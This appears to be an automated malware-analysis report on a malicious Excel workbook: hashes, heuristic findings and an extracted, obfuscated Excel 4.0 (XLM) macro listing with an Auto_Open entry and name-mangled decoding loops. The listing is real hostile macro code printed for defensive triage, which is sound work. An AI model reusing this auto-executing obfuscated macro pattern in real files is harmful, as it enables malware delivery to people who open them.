Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09c563efe087604e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:04 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 3ab3e810111b4d9e92f484446052e5cb SHA-1: e8f4073c1a006a8d550abf33c0096d10226b77ee SHA-256: 09c563efe087604e3461a8012c346d18c3c2485bbca901446444a11878a42fec
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6635 bytes
SHA-256: c48dadf5b2c689b6d4b01bb908def4a792abbc3da0c870bfee83ab7f7fd6fb85
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 37 identifiers look randomly generated (e.g. 'IzXicHdlbFQj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kaCM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C166 
' 0018     22 LABEL : Cell Value, String Constant - AxoXqqH len=0 
' 0018     26 LABEL : Cell Value, String Constant - BQdppRLxtSh len=0 
' 0018     20 LABEL : Cell Value, String Constant - BuaXj len=0 
' 0018     21 LABEL : Cell Value, String Constant - CHBDuK len=0 
' 0018     21 LABEL : Cell Value, String Constant - CNSHum len=0 
' 0018     27 LABEL : Cell Value, String Constant - cUfHhyUeZHaU len=0 
' 0018     20 LABEL : Cell Value, String Constant - eDKbX len=0 
' 0018     27 LABEL : Cell Value, String Constant - FkNyYvHVEmsu len=0 
' 0018     23 LABEL : Cell Value, String Constant - HhVCbYXd len=0 
' 0018     27 LABEL : Cell Value, String Constant - hqXLGnDLWQRX len=0 
' 0018     21 LABEL : Cell Value, String Constant - IDGjLL len=0 
' 0018     27 LABEL : Cell Value, String Constant - IzXicHdlbFQj len=0 
' 0018     26 LABEL : Cell Value, String Constant - KWDQqMQyMPD len=0 
' 0018     25 LABEL : Cell Value, String Constant - mPFxFgJOci len=0 
' 0018     23 LABEL : Cell Value, String Constant - NYZJYYqq len=0 
' 0018     25 LABEL : Cell Value, String Constant - PkQdaHSsfF len=0 
' 0018     25 LABEL : Cell Value, String Constant - revfTnQNeL len=0 
' 0018     26 LABEL : Cell Value, String Constant - rfYxptRIrPk len=0 
' 0018     21 LABEL : Cell Value, String Constant - WMMSaH len=0 
' 0018     23 LABEL : Cell Value, String Constant - yryaJStc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kaCM,C81,"SET.NAME("IzXicHdlbFQj",0+VALUE("0"))",""
'  kaCM,Q81,"",696.00000000000000000000
'  kaCM,Q82,"",873.00000000000000000000
'  kaCM,Q83,"",330.00000000000000000000
'  kaCM,Q84,"",-770.00000000000000000000
'  kaCM,C85,"SET.NAME("KWDQqMQyMPD",IzXicHdlbFQj)",""
'  kaCM,Q85,"",-301.00000000000000000000
'  kaCM,Q86,"",-760.00000000000000000000
'  kaCM,C89,"SET.NAME("NYZJYYqq",IzXicHdlbFQj)",""
'  kaCM,C92,"SET.NAME("revfTnQNeL",COUNTA(PkQdaHSsfF))",""
'  kaCM,C96,"SET.NAME("hqXLGnDLWQRX",COUNTA(cUfHhyUeZHaU))",""
'  kaCM,C98,[],""
'  kaCM,C101,"SET.NAME("rfYxptRIrPk","")",""
'  kaCM,C103,"KWDQqMQyMPD",""
'  kaCM,C107,"SET.NAME("CNSHum",HLOOKUP("*",PkQdaHSsfF,KWDQqMQyMPD,FALSE))",""
'  kaCM,C109,"IDGjLL",""
'  kaCM,C114,"SET.NAME("mPFxFgJOci",IzXicHdlbFQj)",""
'  kaCM,C117,[],""
'  kaCM,C119,"mPFxFgJOci",""
'  kaCM,C124,"eDKbX",""
'  kaCM,C129,"AxoXqqH",""
'  kaCM,C132,"FkNyYvHVEmsu",""
'  kaCM,C136,"SET.NAME("WMMSaH",VALUE(HLOOKUP("*",cUfHhyUeZHaU,FkNyYvHVEmsu,FALSE)))",""
'  kaCM,C140,"BQdppRLxtSh",""
'  kaCM,C142,"rfYxptRIrPk",""
'  kaCM,C147,"NYZJYYqq",""
'  kaCM,C149,NEXT(),""
'  kaCM,C151,"yryaJStc",""
'  kaCM,C155,[],""
'  kaCM,C160,"CHBDuK",""
'  kaCM,C162,NEXT(),""
'  kaCM,C164,RETURN(),""
'  kaCM,C193,"SET.NAME("HhVCbYXd",C81)",""
'  kaCM,C196,"PkQdaHSsfF",""
'  kaCM,C201,"SET.NAME("cUfHhyUeZHaU",R98C14)",""
'  kaCM,C206,"SET.NAME("CHBDuK",214)",""
'  kaCM,C209,"SET.NAME("BuaXj",3)",""
'  kaCM,C213,HhVCbYXd(),""
'  kaCM,C214,HALT(),""

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